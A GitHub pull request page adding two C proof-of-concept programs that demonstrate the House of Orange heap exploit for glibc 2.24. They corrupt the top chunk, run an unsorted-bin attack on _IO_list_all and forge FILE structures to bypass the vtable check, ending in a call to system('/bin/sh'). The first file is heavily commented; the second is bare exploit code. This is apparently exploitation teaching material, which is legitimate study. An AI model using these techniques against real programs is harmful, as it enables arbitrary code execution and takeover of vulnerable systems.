Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add glibc 2.24 io file bypass #98

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
188 changes: 188 additions & 0 deletions glibc_2.24/houseoforange.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,188 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{


/*
The House of Orange starts with the assumption that a buffer overflow exists on the heap
using which the Top (also called the Wilderness) chunk can be corrupted.

At the beginning of execution, the entire heap is part of the Top chunk.
The first allocations are usually pieces of the Top chunk that are broken off to service the request.
Thus, with every allocation, the Top chunks keeps getting smaller.
And in a situation where the size of the Top chunk is smaller than the requested value,
there are two possibilities:
1) Extend the Top chunk
2) Mmap a new page

If the size requested is smaller than 0x21000, then the former is followed.
*/
char *p1, *p2;
size_t io_list_all, *top;

fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");

fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

fprintf(stderr, "This exploit is use _IO_str_finish to bypass glibc 2.24 _IO_FILE vtable checked.\n");

/*
Firstly, lets allocate a chunk on the heap.
*/

p1 = malloc(0x400-16);

/*
The heap is usually allocated with a top chunk of size 0x21000
Since we've allocate a chunk of size 0x400 already,
what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.

The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,
it must also be page aligned at the end.

Also, if a chunk that is adjacent to the Top chunk is to be freed,
then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.

So that means that there are two conditions that must always be true.
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.

We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.
What's left is 0x20c01

Now, let's satisfy the conditions
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
*/
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
/*
Now we request a chunk of size larger than the size of the Top chunk.
Malloc tries to service this request by extending the Top chunk
This forces sysmalloc to be invoked.

In the usual scenario, the heap looks like the following
|------------|------------|------...----|
| chunk | chunk | Top ... |
|------------|------------|------...----|
heap start heap end

And the new area that gets allocated is contiguous to the old heap end.
So the new size of the Top chunk is the sum of the old size and the newly allocated size.

In order to keep track of this change in size, malloc uses a fencepost chunk,
which is basically a temporary chunk.

After the size of the Top chunk has been updated, this chunk gets freed.

In our scenario however, the heap looks like
|------------|------------|------..--|--...--|---------|
| chunk | chunk | Top .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start heap end

In this situation, the new Top will be starting from an address that is adjacent to the heap end.
So the area between the second chunk and the heap end is unused.
And the old Top chunk gets freed.
Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,
it gets added to list of unsorted bins.
Now we request a chunk of size larger than the size of the top chunk.
This forces sysmalloc to be invoked.
And ultimately invokes _int_free

Finally the heap looks like this:
|------------|------------|------..--|--...--|---------|
| chunk | chunk | free .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start new heap end



*/

p2 = malloc(0x1000);
/*
Note that the above chunk will be allocated in a different page
that gets mmapped. It will be placed after the old heap's end

Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins


Here starts phase two of the attack. We assume that we have an overflow into the old
top chunk so we could overwrite the chunk's size.
For the second phase we utilize this overflow again to overwrite the fd and bk pointer
of this chunk in the unsorted bin list.
There are two common ways to exploit the current state:
- Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)
- Use the unlinking of the chunk for an *where*-controlled write of the
libc's main_arena unsorted-bin-list. (requires at least one allocation)

The former attack is pretty straight forward to exploit, so we will only elaborate
on a variant of the latter, developed by Angelboy in the blog post linked above.

The attack is pretty stunning, as it exploits the abort call itself, which
is triggered when the libc detects any bogus state of the heap.
Whenever abort is triggered, it will flush all the file pointers by calling
_IO_flush_all_lockp. Eventually, walking through the linked list in
_IO_list_all and calling _IO_OVERFLOW on them.

The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose
_IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so
that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').
More about file-pointer exploitation can be found here:
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they
currently point to the libc's main_arena.
*/
io_list_all = top[2] + 0x9a8;

/*
We plan to overwrite the fd and bk pointers of the old top,
which has now been added to the unsorted bins.

When malloc tries to satisfy a request by splitting this free chunk
the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list
in libc's main_arena.

Note that this overwrite occurs before the sanity check and therefore, will occur in any
case.

Here, we require that chunk->bk->fd to be the value of _IO_list_all.
So, we should set chunk->bk to be _IO_list_all - 16
*/

top[3] = io_list_all - 0x10;

/*
At the end, the system function will be invoked with the pointer to this file pointer.
If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
*/
// _IO_str_finish conditions
char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack
top[0] = 0;
// top[0] = ((size_t) &binsh_in_libc + 0x10) & ~1;
top[7] = ((size_t)&binsh_in_libc); // buf_base

// house_of_orange conditions
top[1] = 0x61;
top[5] = 0x1 ; //_IO_write_ptr

top[21] = 0; // 2
top[22] = 0; // 3
top[24] = 0;// -1
top[27] = (size_t) stdin - 0x33f0 - 0x18;
top[29] = (size_t) &winner;
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}
43 changes: 43 additions & 0 deletions glibc_2.24/houseoforange_str_jumps_overflow.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
// unsorted bin attack
p1 = malloc(0x400-16);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
// _IO_str_overflow conditions
char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack
// top[0] = ~1;
// top[0] &= ~8;
top[0] = 0;
top[4] = 0; // write_base
top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr
top[7] = 0; // buf_base
top[8] = top[5] - 1; // buf_end
// house_of_orange conditions
top[1] = 0x61;

top[20] = (size_t) &top[18];
top[21] = 2;
top[22] = 3;
top[24] = -1;
top[27] = (size_t)stdin - 0x3868-0x18; // _IO_str_jumps地址
top[28] = (size_t) &winner;
/* Finally, trigger the whole chain by calling malloc */
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}